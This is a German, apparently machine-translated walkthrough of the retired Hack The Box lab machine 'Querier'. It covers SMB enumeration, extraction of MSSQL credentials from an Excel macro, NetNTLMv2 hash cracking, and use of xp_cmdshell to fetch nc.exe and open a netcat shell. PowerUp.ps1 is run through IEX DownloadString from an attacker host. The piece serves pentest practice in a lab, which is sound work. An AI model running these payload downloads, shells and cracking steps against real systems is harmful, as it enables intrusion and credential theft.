Der Durchgang der Labormaschine zum Pentest "Hackthebox - Querier"

Hallo Habr! In diesem Artikel erfahren Sie, wie Sie einen Remoteserver mithilfe der Funktionen von MsSQL angreifen, eine Reverse Shell zum Beheben im System erstellen und ein Beispiel für die Ausführung einer schlecht konfigurierten Gruppenrichtlinie in Windows geben.

Im Rahmen des Schnitts werden wir über unsere Erfahrungen mit der Übergabe der Querier-Labormaschine auf dem Hackthebox- Portal sprechen .

Für diejenigen, die nicht wissen, was Hackthebox ist, ist dies ein Portal, auf dem Sie Ihre Pentest-Fähigkeiten in der Praxis testen können. Es gibt CTF-Aufgaben und Labormaschinen selbst.

Haftungsausschluss
Die Regeln des Dienstes lauten: " Teilen Sie nicht mit anderen Mitgliedern, wie Sie jeden Computer gehackt haben. Dies beinhaltet die Generierung des Einladungscodes und alle Herausforderungen . " Da diese Maschine jedoch nicht mehr aktiv ist und im Bereich Maschinen im Ruhestand gespeichert ist, können nur VIP-Mitglieder darauf zugreifen.



Informationsbeschaffung


Beginnen wir unsere Erkundung, indem wir das Port-Scannen mit nmap starten.

nmap –sC –Pn –A 10.10.10.125 



Wir listen die gefundenen Ports auf.

Zählen Sie 139/445 / tcp (smb) auf


Wir werden das Dienstprogramm smbclient verwenden, um auf SMB-Serverressourcen zuzugreifen.

 smbclient –L //10.10.10.125 

Nachdem wir alle Ressourcen durchgesehen haben, finden wir im Verzeichnis "Berichte" die Datei "Currency Volume Report.xlsm".



Wenn Sie diese Datei mit Standard-Microsoft Excel öffnen, erscheint sie auf den ersten Blick völlig leer.

Wir analysieren die Datei mit dem Dienstprogramm binwalk , mit dem Sie die eingebetteten Dateien des xlsm-Dokuments anzeigen können.



Aus der Ausgabe von binwalk haben wir einige interessante Dateien in xlsm gefunden.
Packen Sie es mit dem Flag –e aus.

 binwalk –e Currency\ Volume\ Report.xlsm 



Jetzt verwenden wir das Zeichenfolgen- Dienstprogramm, um gedruckte Zeichen auszugeben. Beim Durchgehen der Dateien finden wir interessante Daten in vbaProject.bin. Es sieht so aus, als hätten wir die Anmeldeinformationen für den MSSQL-Server gefunden.



Um die aktuell erhaltenen Informationen zusammenzufassen:

  • Wir wissen, dass sich der mssql-Server auf dem Port 10.10.10.125:1433 dreht.
  • Wir haben Anmeldeinformationen vom Benutzer mssql Server.

Versuchen wir also, mithilfe des Skripts aus dem Impacket- Modul eine Verbindung zum Server herzustellen .

 python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth 

Erhalten Sie Zugriff auf MsSQL.



Zählen Sie MsSQL auf


Wir listen die Informationen auf, die für uns nützlich sind, indem wir die Befehle aus dem Artikel verwenden .
Nach der Ausführung von SQLi erhalten wir einen Hash aus dem Passwort des Benutzers mssql-svc.



Um das Passwort explizit zu erhalten, müssen Sie es mit einem für Sie geeigneten Tool entfernen.

  1.  john --format=netntlmv2 hash.txt 
  2.  hashcat -m 5600 -a 3 hash.txt 

Wir bekommen das Passwort von mssql-svc .

Herstellen einer Verbindung zu SQL mit neuen Krediten .

 python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth 

Die Rechte dieses Benutzers ermöglichen es uns, xp_cmdshell auszuführen

Über xp_cmdshell
MsSQL wird mit einer großen Anzahl erweiterter gespeicherter Prozeduren geliefert. Das interessanteste davon ist xp_cmdshell. Es bietet Zugriff auf die Befehlszeile des Betriebssystems.

Holen Sie sich die umgekehrte Shell


Wir versuchen, die Shell über Netcat zu bekommen. Dazu müssen wir sie auf den angegriffenen Server hochladen.

Wir gehen in das Verzeichnis auf unserem Computer, in dem sich netcat befindet, und führen Folgendes aus:

 python –m SimpleHTTPServer 

Führen Sie in der mssql-Shell zum Herunterladen von netcat (nc.exe) auf den Remote-Server den Befehl Powershell aus und geben Sie den Speicherpfad an.

 xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" " 

Wir starten netcat, um Port 4444 abzuhören.

 xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe" 

Wir starten netcat auf unserer Seite, geben die IP und den Port des angegriffenen Servers an und erhalten die Shell.

 nc 10.10.10.125 4444 

Führen Sie ein Skript in PowerShellMafia aus , um die Berechtigungen zu erhöhen.

 powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks 



Als Ergebnis des Skripts haben wir die Administratoranmeldeinformationen erhalten.

Wir gehen zu jd-Ressourcen mit neuen Anmeldeinformationen und Berechtigungen.





Nehmen Sie das Flag root.txt. Sieg!

Source: https://habr.com/ru/post/de465687/


All Articles